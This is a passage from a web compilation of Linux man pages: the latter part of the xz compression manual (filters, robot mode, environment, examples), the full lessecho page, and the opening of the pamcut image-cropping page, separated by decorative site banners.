To see the whole filter chain and options, use xz -vv (that is, use –verbose twice). This works also for viewing the filter chain options used by presets.

–filters=filters
Specify the full filter chain or a preset in a single option. Each filter can be separated by spaces or two dashes (
). filters may need to be quoted on the shell command line so it is parsed as a single option. To denote options, use : or =. A preset can be prefixed with a - and followed with zero or more flags. The only supported flag is e to apply the same options as –extreme.

–filters1=filters–filters9=filters
Specify up to nine additional filter chains that can be used with –block-list.

For example, when compressing an archive with executable files followed by text files, the executable part could use a filter chain with a BCJ filter and the text part only the LZMA2 filter.

–filters-help
Display a help message describing how to specify presets and custom filter chains in the –filters and **–filters1=**filters … **–filters9=**filters options, and exit successfully.

–lzma1[**=**options]

–lzma2[**=**options]

Add LZMA1 or LZMA2 filter to the filter chain. These filters can be used only as the last filter in the chain.

LZMA1 is a legacy filter, which is supported almost solely due to the legacy .lzma file format, which supports only LZMA1. LZMA2 is an updated version of LZMA1 to fix some practical issues of LZMA1. The .xz format uses LZMA2 and doesn’t support LZMA1 at all. Compression speed and ratios of LZMA1 and LZMA2 are practically the same.

LZMA1 and LZMA2 share the same set of options:

**preset=**preset
Reset all LZMA1 or LZMA2 options to preset. Preset consist of an integer, which may be followed by single-letter preset modifiers. The integer can be from 0 to 9, matching the command line options -0-9. The only supported modifier is currently e, which matches –extreme. If no preset is specified, the default values of LZMA1 or LZMA2 options are taken from the preset 6.

**dict=**size
Dictionary (history buffer) size indicates how many bytes of the recently processed uncompressed data is kept in memory. The algorithm tries to find repeating byte sequences (matches) in the uncompressed data, and replace them with references to the data currently in the dictionary. The bigger the dictionary, the higher is the chance to find a match. Thus, increasing dictionary size usually improves compression ratio, but a dictionary bigger than the uncompressed file is waste of memory.

Typical dictionary size is from 64 KiB to 64 MiB. The minimum is 4 KiB. The maximum for compression is currently 1.5 GiB (1536 MiB). The decompressor already supports dictionaries up to one byte less than 4 GiB, which is the maximum for the LZMA1 and LZMA2 stream formats.

Dictionary size and match finder (mf) together determine the memory usage of the LZMA1 or LZMA2 encoder. The same (or bigger) dictionary size is required for decompressing that was used when compressing, thus the memory usage of the decoder is determined by the dictionary size used when compressing. The .xz headers store the dictionary size either as 2^n or 2^n + 2^(n-1), so these sizes are somewhat preferred for compression. Other sizes will get rounded up when stored in the .xz headers.

**lc=**lc
Specify the number of literal context bits. The minimum is 0 and the maximum is 4; the default is 3. In addition, the sum of lc and lp must not exceed 4.

All bytes that cannot be encoded as matches are encoded as literals. That is, literals are simply 8-bit bytes that are encoded one at a time.

The literal coding makes an assumption that the highest lc bits of the previous uncompressed byte correlate with the next byte. For example, in typical English text, an upper-case letter is often followed by a lower-case letter, and a lower-case letter is usually followed by another lower-case letter. In the US-ASCII character set, the highest three bits are 010 for upper-case letters and 011 for lower-case letters. When lc is at least 3, the literal coding can take advantage of this property in the uncompressed data.

The default value (3) is usually good. If you want maximum compression, test lc=4. Sometimes it helps a little, and sometimes it makes compression worse. If it makes it worse, test lc=2 too.

**lp=**lp
Specify the number of literal position bits. The minimum is 0 and the maximum is 4; the default is 0.

Lp affects what kind of alignment in the uncompressed data is assumed when encoding literals. See pb below for more information about alignment.

**pb=**pb
Specify the number of position bits. The minimum is 0 and the maximum is 4; the default is 2.

Pb affects what kind of alignment in the uncompressed data is assumed in general. The default means four-byte alignment (2^pb=2^2=4), which is often a good choice when there’s no better guess.

When the alignment is known, setting pb accordingly may reduce the file size a little. For example, with text files having one-byte alignment (US-ASCII, ISO-8859-*, UTF-8), setting pb=0 can improve compression slightly. For UTF-16 text, pb=1 is a good choice. If the alignment is an odd number like 3 bytes, pb=0 might be the best choice.

Even though the assumed alignment can be adjusted with pb and lp, LZMA1 and LZMA2 still slightly favor 16-byte alignment. It might be worth taking into account when designing file formats that are likely to be often compressed with LZMA1 or LZMA2.

**mf=**mf
Match finder has a major effect on encoder speed, memory usage, and compression ratio. Usually Hash Chain match finders are faster than Binary Tree match finders. The default depends on the preset: 0 uses hc3, 1–3 use hc4, and the rest use bt4.

The following match finders are supported. The memory usage formulas below are rough approximations, which are closest to the reality when dict is a power of two.

hc3
Hash Chain with 2- and 3-byte hashing
Minimum value for nice: 3
Memory usage:
dict * 7.5 (if dict <= 16 MiB);
dict * 5.5 + 64 MiB (if dict > 16 MiB)

hc4
Hash Chain with 2-, 3-, and 4-byte hashing
Minimum value for nice: 4
Memory usage:
dict * 7.5 (if dict <= 32 MiB);
dict * 6.5 (if dict > 32 MiB)

bt2
Binary Tree with 2-byte hashing
Minimum value for nice: 2
Memory usage: dict * 9.5

bt3
Binary Tree with 2- and 3-byte hashing
Minimum value for nice: 3
Memory usage:
dict * 11.5 (if dict <= 16 MiB);
dict * 9.5 + 64 MiB (if dict > 16 MiB)

bt4
Binary Tree with 2-, 3-, and 4-byte hashing
Minimum value for nice: 4
Memory usage:
dict * 11.5 (if dict <= 32 MiB);
dict * 10.5 (if dict > 32 MiB)

**mode=**mode
Compression mode specifies the method to analyze the data produced by the match finder. Supported modes are fast and normal. The default is fast for presets 0–3 and normal for presets 4–9.

Usually fast is used with Hash Chain match finders and normal with Binary Tree match finders. This is also what the presets do.

**nice=**nice
Specify what is considered to be a nice length for a match. Once a match of at least nice bytes is found, the algorithm stops looking for possibly better matches.

Nice can be 2–273 bytes. Higher values tend to give better compression ratio at the expense of speed. The default depends on the preset.

**depth=**depth
Specify the maximum search depth in the match finder. The default is the special value of 0, which makes the compressor determine a reasonable depth from mf and nice.

Reasonable depth for Hash Chains is 4–100 and 16–1000 for Binary Trees. Using very high values for depth can make the encoder extremely slow with some files. Avoid setting the depth over 1000 unless you are prepared to interrupt the compression in case it is taking far too long.

When decoding raw streams (–format=raw), LZMA2 needs only the dictionary size. LZMA1 needs also lc, lp, and pb.

–x86[**=**options]

–arm[**=options]
–armthumb[
=options]
–arm64[
=options]
–powerpc[
=options]
–ia64[
=options]
–sparc[
=options]
–riscv[
=**options]

Add a branch/call/jump (BCJ) filter to the filter chain. These filters can be used only as a non-last filter in the filter chain.

A BCJ filter converts relative addresses in the machine code to their absolute counterparts. This doesn’t change the size of the data but it increases redundancy, which can help LZMA2 to produce 0–15 % smaller .xz file. The BCJ filters are always reversible, so using a BCJ filter for wrong type of data doesn’t cause any data loss, although it may make the compression ratio slightly worse. The BCJ filters are very fast and use an insignificant amount of memory.

These BCJ filters have known problems related to the compression ratio:

  • Some types of files containing executable code (for example, object files, static libraries, and Linux kernel modules) have the addresses in the instructions filled with filler values. These BCJ filters will still do the address conversion, which will make the compression worse with these files.

  • If a BCJ filter is applied on an archive, it is possible that it makes the compression ratio worse than not using a BCJ filter. For example, if there are similar or even identical executables then filtering will likely make the files less similar and thus compression is worse. The contents of non-executable files in the same archive can matter too. In practice one has to try with and without a BCJ filter to see which is better in each situation.

Different instruction sets have different alignment: the executable file must be aligned to a multiple of this value in the input data to make the filter work.

FilterAlignmentNotes
x86132-bit or 64-bit x86
ARM4
ARM-Thumb2
ARM6444096-byte alignment is best
PowerPC4Big endian only
IA-6416Itanium
SPARC4
RISC-V2

Since the BCJ-filtered data is usually compressed with LZMA2, the compression ratio may be improved slightly if the LZMA2 options are set to match the alignment of the selected BCJ filter. Examples:

  • IA-64 filter has 16-byte alignment so pb=4,lp=4,lc=0 is good with LZMA2 (2^4=16).

  • RISC-V code has 2-byte or 4-byte alignment depending on whether the file contains 16-bit compressed instructions (the C extension). When 16-bit instructions are used, pb=2,lp=1,lc=3 or pb=1,lp=1,lc=3 is good. When 16-bit instructions aren’t present, pb=2,lp=2,lc=2 is the best. readelf -h can be used to check if “RVC” appears on the “Flags” line.

  • ARM64 is always 4-byte aligned so pb=2,lp=2,lc=2 is the best.

  • The x86 filter is an exception. It’s usually good to stick to LZMA2’s defaults (pb=2,lp=0,lc=3) when compressing x86 executables.

All BCJ filters support the same options:

**start=**offset
Specify the start offset that is used when converting between relative and absolute addresses. The offset must be a multiple of the alignment of the filter (see the table above). The default is zero. In practice, the default is good; specifying a custom offset is almost never useful.

–delta[**=**options]
Add the Delta filter to the filter chain. The Delta filter can be only used as a non-last filter in the filter chain.

Currently only simple byte-wise delta calculation is supported. It can be useful when compressing, for example, uncompressed bitmap images or uncompressed PCM audio. However, special purpose algorithms may give significantly better results than Delta + LZMA2. This is true especially with audio, which compresses faster and better, for example, with flac(1).

Supported options:

**dist=**distance
Specify the distance of the delta calculation in bytes. distance must be 1–256. The default is 1.

For example, with dist=2 and eight-byte input A1 B1 A2 B3 A3 B5 A4 B7, the output will be A1 B1 01 02 01 02 01 02.

Other options

-q, –quiet
Suppress warnings and notices. Specify this twice to suppress errors too. This option has no effect on the exit status. That is, even if a warning was suppressed, the exit status to indicate a warning is still used.

-v, –verbose
Be verbose. If standard error is connected to a terminal, xz will display a progress indicator. Specifying –verbose twice will give even more verbose output.

The progress indicator shows the following information:

  • Completion percentage is shown if the size of the input file is known. That is, the percentage cannot be shown in pipes.

  • Amount of compressed data produced (compressing) or consumed (decompressing).

  • Amount of uncompressed data consumed (compressing) or produced (decompressing).

  • Compression ratio, which is calculated by dividing the amount of compressed data processed so far by the amount of uncompressed data processed so far.

  • Compression or decompression speed. This is measured as the amount of uncompressed data consumed (compression) or produced (decompression) per second. It is shown after a few seconds have passed since xz started processing the file.

  • Elapsed time in the format M:SS or H:MM:SS.

  • Estimated remaining time is shown only when the size of the input file is known and a couple of seconds have already passed since xz started processing the file. The time is shown in a less precise format which never has any colons, for example, 2 min 30 s.

When standard error is not a terminal, –verbose will make xz print the filename, compressed size, uncompressed size, compression ratio, and possibly also the speed and elapsed time on a single line to standard error after compressing or decompressing the file. The speed and elapsed time are included only when the operation took at least a few seconds. If the operation didn’t finish, for example, due to user interruption, also the completion percentage is printed if the size of the input file is known.

-Q, –no-warn
Don’t set the exit status to 2 even if a condition worth a warning was detected. This option doesn’t affect the verbosity level, thus both –quiet and –no-warn have to be used to not display warnings and to not alter the exit status.

–robot
Print messages in a machine-parsable format. This is intended to ease writing frontends that want to use xz instead of liblzma, which may be the case with various scripts. The output with this option enabled is meant to be stable across xz releases. See the section ROBOT MODE for details.

–info-memory
Display, in human-readable format, how much physical memory (RAM) and how many processor threads xz thinks the system has and the memory usage limits for compression and decompression, and exit successfully.

-h, –help
Display a help message describing the most commonly used options, and exit successfully.

-H, –long-help
Display a help message describing all features of xz, and exit successfully

-V, –version
Display the version number of xz and liblzma in human readable format. To get machine-parsable output, specify –robot before –version.

ROBOT MODE

The robot mode is activated with the –robot option. It makes the output of xz easier to parse by other programs. Currently –robot is supported only together with –list, –filters-help, –info-memory, and –version. It will be supported for compression and decompression in the future.

List mode

xz –robot –list uses tab-separated output. The first column of every line has a string that indicates the type of the information found on that line:

name
This is always the first line when starting to list a file. The second column on the line is the filename.

file
This line contains overall information about the .xz file. This line is always printed after the name line.

stream
This line type is used only when –verbose was specified. There are as many stream lines as there are streams in the .xz file.

block
This line type is used only when –verbose was specified. There are as many block lines as there are blocks in the .xz file. The block lines are shown after all the stream lines; different line types are not interleaved.

summary
This line type is used only when –verbose was specified twice. This line is printed after all block lines. Like the file line, the summary line contains overall information about the .xz file.

totals
This line is always the very last line of the list output. It shows the total counts and sizes.

The columns of the file lines:

  1. Number of streams in the file

  2. Total number of blocks in the stream(s)

  3. Compressed size of the file

  4. Uncompressed size of the file

  5. Compression ratio, for example, 0.123. If ratio is over 9.999, three dashes () are displayed instead of the ratio.

  6. Comma-separated list of integrity check names. The following strings are used for the known check types: None, CRC32, CRC64, and SHA-256. For unknown check types, **Unknown-**N is used, where N is the Check ID as a decimal number (one or two digits).

  7. Total size of stream padding in the file

The columns of the stream lines:

  1. Stream number (the first stream is 1)

  2. Number of blocks in the stream

  3. Compressed start offset

  4. Uncompressed start offset

  5. Compressed size (does not include stream padding)

  6. Uncompressed size

  7. Compression ratio

  8. Name of the integrity check

  9. Size of stream padding

The columns of the block lines:

  1. Number of the stream containing this block

  2. Block number relative to the beginning of the stream (the first block is 1)

  3. Block number relative to the beginning of the file

  4. Compressed start offset relative to the beginning of the file

  5. Uncompressed start offset relative to the beginning of the file

  6. Total compressed size of the block (includes headers)

  7. Uncompressed size

  8. Compression ratio

  9. Name of the integrity check

If –verbose was specified twice, additional columns are included on the block lines. These are not displayed with a single –verbose, because getting this information requires many seeks and can thus be slow:

  1. Value of the integrity check in hexadecimal

  2. Block header size

  3. Block flags: c indicates that compressed size is present, and u indicates that uncompressed size is present. If the flag is not set, a dash (-) is shown instead to keep the string length fixed. New flags may be added to the end of the string in the future.

  4. Size of the actual compressed data in the block (this excludes the block header, block padding, and check fields)

  5. Amount of memory (in bytes) required to decompress this block with this xz version

  6. Filter chain. Note that most of the options used at compression time cannot be known, because only the options that are needed for decompression are stored in the .xz headers.

The columns of the summary lines:

  1. Amount of memory (in bytes) required to decompress this file with this xz version

  2. yes or no indicating if all block headers have both compressed size and uncompressed size stored in them

Since xz 5.1.2alpha:

  1. Minimum xz version required to decompress the file

The columns of the totals line:

  1. Number of streams

  2. Number of blocks

  3. Compressed size

  4. Uncompressed size

  5. Average compression ratio

  6. Comma-separated list of integrity check names that were present in the files

  7. Stream padding size

  8. Number of files. This is here to keep the order of the earlier columns the same as on file lines.

If –verbose was specified twice, additional columns are included on the totals line:

  1. Maximum amount of memory (in bytes) required to decompress the files with this xz version

  2. yes or no indicating if all block headers have both compressed size and uncompressed size stored in them

Since xz 5.1.2alpha:

  1. Minimum xz version required to decompress the file

Future versions may add new line types and new columns can be added to the existing line types, but the existing columns won’t be changed.

Filters help

xz –robot –filters-help prints the supported filters in the following format:

filter**:option=<value>,option=<value>**…

filter
Name of the filter

option
Name of a filter specific option

value
Numeric value ranges appear as <min-max>. String value choices are shown within < > and separated by a | character.

Each filter is printed on its own line.

Memory limit information

xz –robot –info-memory prints a single line with multiple tab-separated columns:

  1. Total amount of physical memory (RAM) in bytes.

  2. Memory usage limit for compression in bytes (–memlimit-compress). A special value of 0 indicates the default setting which for single-threaded mode is the same as no limit.

  3. Memory usage limit for decompression in bytes (–memlimit-decompress). A special value of 0 indicates the default setting which for single-threaded mode is the same as no limit.

  4. Since xz 5.3.4alpha: Memory usage for multi-threaded decompression in bytes (–memlimit-mt-decompress). This is never zero because a system-specific default value shown in the column 5 is used if no limit has been specified explicitly. This is also never greater than the value in the column 3 even if a larger value has been specified with –memlimit-mt-decompress.

  5. Since xz 5.3.4alpha: A system-specific default memory usage limit that is used to limit the number of threads when compressing with an automatic number of threads (–threads=0) and no memory usage limit has been specified (–memlimit-compress). This is also used as the default value for –memlimit-mt-decompress.

  6. Since xz 5.3.4alpha: Number of available processor threads.

In the future, the output of xz –robot –info-memory may have more columns, but never more than a single line.

Version

xz –robot –version prints the version number of xz and liblzma in the following format:

**XZ_VERSION=**XYYYZZZS
**LIBLZMA_VERSION=**XYYYZZZS

X
Major version.

YYY
Minor version. Even numbers are stable. Odd numbers are alpha or beta versions.

ZZZ
Patch level for stable releases or just a counter for development releases.

S
Stability. 0 is alpha, 1 is beta, and 2 is stable. S should be always 2 when YYY is even.

XYYYZZZS are the same on both lines if xz and liblzma are from the same XZ Utils release.

Examples: 4.999.9beta is 49990091 and 5.0.0 is 50000002.

EXIT STATUS

0
All is good.

1
An error occurred.

2
Something worth a warning occurred, but no actual errors occurred.

Notices (not warnings or errors) printed on standard error don’t affect the exit status.

ENVIRONMENT

xz parses space-separated lists of options from the environment variables XZ_DEFAULTS and XZ_OPT, in this order, before parsing the options from the command line. Note that only options are parsed from the environment variables; all non-options are silently ignored. Parsing is done with getopt_long(3) which is used also for the command line arguments.

XZ_DEFAULTS
User-specific or system-wide default options. Typically this is set in a shell initialization script to enable xz’s memory usage limiter by default. Excluding shell initialization scripts and similar special cases, scripts must never set or unset XZ_DEFAULTS.

XZ_OPT
This is for passing options to xz when it is not possible to set the options directly on the xz command line. This is the case when xz is run by a script or tool, for example, GNU tar(1):

XZ_OPT=-2v tar caf foo.tar.xz foo

Scripts may use XZ_OPT, for example, to set script-specific default compression options. It is still recommended to allow users to override XZ_OPT if that is reasonable. For example, in sh(1) scripts one may use something like this:

XZ_OPT=${XZ_OPT-"-7e"} export XZ_OPT

LZMA UTILS COMPATIBILITY

The command line syntax of xz is practically a superset of lzma, unlzma, and lzcat as found from LZMA Utils 4.32.x. In most cases, it is possible to replace LZMA Utils with XZ Utils without breaking existing scripts. There are some incompatibilities though, which may sometimes cause problems.

Compression preset levels

The numbering of the compression level presets is not identical in xz and LZMA Utils. The most important difference is how dictionary sizes are mapped to different presets. Dictionary size is roughly equal to the decompressor memory usage.

LevelxzLZMA Utils
-0256 KiBN/A
-11 MiB64 KiB
-22 MiB1 MiB
-34 MiB512 KiB
-44 MiB1 MiB
-58 MiB2 MiB
-68 MiB4 MiB
-716 MiB8 MiB
-832 MiB16 MiB
-964 MiB32 MiB

The dictionary size differences affect the compressor memory usage too, but there are some other differences between LZMA Utils and XZ Utils, which make the difference even bigger:

LevelxzLZMA Utils 4.32.x
-03 MiBN/A
-19 MiB2 MiB
-217 MiB12 MiB
-332 MiB12 MiB
-448 MiB16 MiB
-594 MiB26 MiB
-694 MiB45 MiB
-7186 MiB83 MiB
-8370 MiB159 MiB
-9674 MiB311 MiB

The default preset level in LZMA Utils is -7 while in XZ Utils it is -6, so both use an 8 MiB dictionary by default.

Streamed vs. non-streamed .lzma files

The uncompressed size of the file can be stored in the .lzma header. LZMA Utils does that when compressing regular files. The alternative is to mark that uncompressed size is unknown and use end-of-payload marker to indicate where the decompressor should stop. LZMA Utils uses this method when uncompressed size isn’t known, which is the case, for example, in pipes.

xz supports decompressing .lzma files with or without end-of-payload marker, but all .lzma files created by xz will use end-of-payload marker and have uncompressed size marked as unknown in the .lzma header. This may be a problem in some uncommon situations. For example, a .lzma decompressor in an embedded device might work only with files that have known uncompressed size. If you hit this problem, you need to use LZMA Utils or LZMA SDK to create .lzma files with known uncompressed size.

Unsupported .lzma files

The .lzma format allows lc values up to 8, and lp values up to 4. LZMA Utils can decompress files with any lc and lp, but always creates files with lc=3 and lp=0. Creating files with other lc and lp is possible with xz and with LZMA SDK.

The implementation of the LZMA1 filter in liblzma requires that the sum of lc and lp must not exceed 4. Thus, .lzma files, which exceed this limitation, cannot be decompressed with xz.

LZMA Utils creates only .lzma files which have a dictionary size of 2^n (a power of 2) but accepts files with any dictionary size. liblzma accepts only .lzma files which have a dictionary size of 2^n or 2^n + 2^(n-1). This is to decrease false positives when detecting .lzma files.

These limitations shouldn’t be a problem in practice, since practically all .lzma files have been compressed with settings that liblzma will accept.

Trailing garbage

When decompressing, LZMA Utils silently ignore everything after the first .lzma stream. In most situations, this is a bug. This also means that LZMA Utils don’t support decompressing concatenated .lzma files.

If there is data left after the first .lzma stream, xz considers the file to be corrupt unless –single-stream was used. This may break obscure scripts which have assumed that trailing garbage is ignored.

NOTES

Compressed output may vary

The exact compressed output produced from the same uncompressed input file may vary between XZ Utils versions even if compression options are identical. This is because the encoder can be improved (faster or better compression) without affecting the file format. The output can vary even between different builds of the same XZ Utils version, if different build options are used.

The above means that once –rsyncable has been implemented, the resulting files won’t necessarily be rsyncable unless both old and new files have been compressed with the same xz version. This problem can be fixed if a part of the encoder implementation is frozen to keep rsyncable output stable across xz versions.

Embedded .xz decompressors

Embedded .xz decompressor implementations like XZ Embedded don’t necessarily support files created with integrity check types other than none and crc32. Since the default is –check=crc64, you must use –check=none or –check=crc32 when creating files for embedded systems.

Outside embedded systems, all .xz format decompressors support all the check types, or at least are able to decompress the file without verifying the integrity check if the particular check is not supported.

XZ Embedded supports BCJ filters, but only with the default start offset.

EXAMPLES

Basics

Compress the file foo into foo.xz using the default compression level (-6), and remove foo if compression is successful:

xz foo

Decompress bar.xz into bar and don’t remove bar.xz even if decompression is successful:

xz -dk bar.xz

Create baz.tar.xz with the preset -4e (-4 –extreme), which is slower than the default -6, but needs less memory for compression and decompression (48 MiB and 5 MiB, respectively):

tar cf - baz | xz -4e > baz.tar.xz

A mix of compressed and uncompressed files can be decompressed to standard output with a single command:

xz -dcf a.txt b.txt.xz c.txt d.txt.lzma > abcd.txt

Parallel compression of many files

On GNU and *BSD, find(1) and xargs(1) can be used to parallelize compression of many files:

find . -type f ! -name ‘*.xz’ -print0
| xargs -0r -P4 -n16 xz -T1

The -P option to xargs(1) sets the number of parallel xz processes. The best value for the -n option depends on how many files there are to be compressed. If there are only a couple of files, the value should probably be 1; with tens of thousands of files, 100 or even more may be appropriate to reduce the number of xz processes that xargs(1) will eventually create.

The option -T1 for xz is there to force it to single-threaded mode, because xargs(1) is used to control the amount of parallelization.

Robot mode

Calculate how many bytes have been saved in total after compressing multiple files:

xz –robot –list *.xz | awk ‘/^totals/{print $5-$4}’

A script may want to know that it is using new enough xz. The following sh(1) script checks that the version number of the xz tool is at least 5.0.0. This method is compatible with old beta versions, which didn’t support the –robot option:

if ! eval “$(xz –robot –version 2> /dev/null)” || [ “$XZ_VERSION” -lt 50000002 ]; then echo “Your xz is too old.” fi unset XZ_VERSION LIBLZMA_VERSION

Set a memory usage limit for decompression using XZ_OPT, but if a limit has already been set, don’t increase it:

NEWLIM=$((123 « 20)) # 123 MiB OLDLIM=$(xz –robot –info-memory | cut -f3) if [ $OLDLIM -eq 0 -o $OLDLIM -gt $NEWLIM ]; then XZ_OPT="$XZ_OPT –memlimit-decompress=$NEWLIM" export XZ_OPT fi

Custom compressor filter chains

The simplest use for custom filter chains is customizing a LZMA2 preset. This can be useful, because the presets cover only a subset of the potentially useful combinations of compression settings.

The CompCPU columns of the tables from the descriptions of the options -0-9 and –extreme are useful when customizing LZMA2 presets. Here are the relevant parts collected from those two tables:

PresetCompCPU
-00
-11
-22
-33
-44
-55
-66
-5e7
-6e8

If you know that a file requires somewhat big dictionary (for example, 32 MiB) to compress well, but you want to compress it quicker than xz -8 would do, a preset with a low CompCPU value (for example, 1) can be modified to use a bigger dictionary:

xz –lzma2=preset=1,dict=32MiB foo.tar

With certain files, the above command may be faster than xz -6 while compressing significantly better. However, it must be emphasized that only some files benefit from a big dictionary while keeping the CompCPU value low. The most obvious situation, where a big dictionary can help a lot, is an archive containing very similar files of at least a few megabytes each. The dictionary size has to be significantly bigger than any individual file to allow LZMA2 to take full advantage of the similarities between consecutive files.

If very high compressor and decompressor memory usage is fine, and the file being compressed is at least several hundred megabytes, it may be useful to use an even bigger dictionary than the 64 MiB that xz -9 would use:

xz -vv –lzma2=dict=192MiB big_foo.tar

Using -vv (–verbose –verbose) like in the above example can be useful to see the memory requirements of the compressor and decompressor. Remember that using a dictionary bigger than the size of the uncompressed file is waste of memory, so the above command isn’t useful for small files.

Sometimes the compression time doesn’t matter, but the decompressor memory usage has to be kept low, for example, to make it possible to decompress the file on an embedded system. The following command uses -6e (-6 –extreme) as a base and sets the dictionary to only 64 KiB. The resulting file can be decompressed with XZ Embedded (that’s why there is –check=crc32) using about 100 KiB of memory.

xz –check=crc32 –lzma2=preset=6e,dict=64KiB foo

If you want to squeeze out as many bytes as possible, adjusting the number of literal context bits (lc) and number of position bits (pb) can sometimes help. Adjusting the number of literal position bits (lp) might help too, but usually lc and pb are more important. For example, a source code archive contains mostly US-ASCII text, so something like the following might give slightly (like 0.1 %) smaller file than xz -6e (try also without lc=4):

xz –lzma2=preset=6e,pb=0,lc=4 source_code.tar

Using another filter together with LZMA2 can improve compression with certain file types. For example, to compress a x86-32 or x86-64 shared library using the x86 BCJ filter:

xz –x86 –lzma2 libfoo.so

Note that the order of the filter options is significant. If –x86 is specified after –lzma2, xz will give an error, because there cannot be any filter after LZMA2, and also because the x86 BCJ filter cannot be used as the last filter in the chain.

The Delta filter together with LZMA2 can give good results with bitmap images. It should usually beat PNG, which has a few more advanced filters than simple delta but uses Deflate for the actual compression.

The image has to be saved in uncompressed format, for example, as uncompressed TIFF. The distance parameter of the Delta filter is set to match the number of bytes per pixel in the image. For example, 24-bit RGB bitmap needs dist=3, and it is also good to pass pb=0 to LZMA2 to accommodate the three-byte alignment:

xz –delta=dist=3 –lzma2=pb=0 foo.tiff

If multiple images have been put into a single archive (for example, .tar), the Delta filter will work on that too as long as all images have the same number of bytes per pixel.

SEE ALSO

xzdec(1), xzdiff(1), xzgrep(1), xzless(1), xzmore(1), gzip(1), bzip2(1), 7z(1)

XZ Utils: <https://tukaani.org/xz/>
XZ Embedded: <https://tukaani.org/xz/embedded.html>
LZMA SDK: <https://7-zip.org/sdk.html>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

292 - Linux cli command lessecho

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lessecho and provides detailed information about the command lessecho, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lessecho.

NAME 🖥️ lessecho 🖥️

expand metacharacters

SYNOPSIS

lessecho [-ox] [-cx] [-pn] [-dn] [-mx] [-nn] [-ex] [-a] file …

DESCRIPTION

lessecho is a program that simply echos its arguments on standard output. But any metacharacter in the output is preceded by an “escape” character, which by default is a backslash.

OPTIONS

A summary of options is included below.

-ex
Specifies “x”, rather than backslash, to be the escape char for metachars. If x is “-”, no escape char is used and arguments containing metachars are surrounded by quotes instead.

-ox
Specifies “x”, rather than double-quote, to be the open quote character, which is used if the -e- option is specified.

-cx
Specifies “x” to be the close quote character.

-pn
Specifies “n” to be the open quote character, as an integer.

-dn
Specifies “n” to be the close quote character, as an integer.

-mx
Specifies “x” to be a metachar. By default, no characters are considered metachars.

-nn
Specifies “n” to be a metachar, as an integer.

-fn
Specifies “n” to be the escape char for metachars, as an integer.

-a
Specifies that all arguments are to be quoted. The default is that only arguments containing metacharacters are quoted.

SEE ALSO

less(1)

AUTHOR

This manual page was written by Thomas Schoepf <[email protected]>, for the Debian GNU/Linux system (but may be used by others).

Report bugs at https://github.com/gwsw/less/issues.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

293 - Linux cli command pamcut

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamcut and provides detailed information about the command pamcut, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamcut.

.

NAME 🖥️ pamcut 🖥️

select a rectangular region of a PAM, PBM, PGM, or PPM image

SYNOPSIS

pamcut

[-left colnum]

[-right colnum]

[-top rownum]

[-bottom rownum]

[-width cols]

[-height rows]

[-pad]

[-cropleft numcols]

[-cropright numcols]

[-croptop numrows]

[-cropbottom numrows]

[-reportonly]

[-verbose]

[left top width height]

[pnmfile]

Minimum unique abbreviations of option are acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamcut reads a PAM, PBM, PGM, or PPM image as input and extracts the specified rectangle, and produces the same kind of image as output.

You can specify either the rectangle to cut out and keep or specify the edges to crop off and discard, or a combination.

To request edges be cropped off, use options -cropleft, -cropright, -croptop, and -cropbottom to indicate how many rows or columns to discard.

For example, -cropleft=50 -cropright=200 means to discard the leftmost 50 and rightmost 200 columns.

To specify the rectangle to keep, use -left, -right, -top, -bottom, -width, -height, and -pad options.

For example, -left=50 -right=200 means to keep the 151 columns between Columns 50 and 200 inclusive.

You can code any mixture of the options. What you don’t specify defaults. Those defaults are in favor of minimal cutting and in favor of cutting the right and bottom edges off and (with -pad) minimal padding and padding on the right and bottom. It is an error to overspecify, i.e. to specify all three of -left, -right, and -width or -top, -bottom, and -height or right as well as -cropright.

There is an older way to specify the rectangle to keep: positional arguments. Arguments were the only way available before July 2000, but you should not use them in new applications. Options are easier to remember and read, more expressive, and allow you to use defaults.

If you use both options and arguments, the two specifications get mixed in an unspecified way.

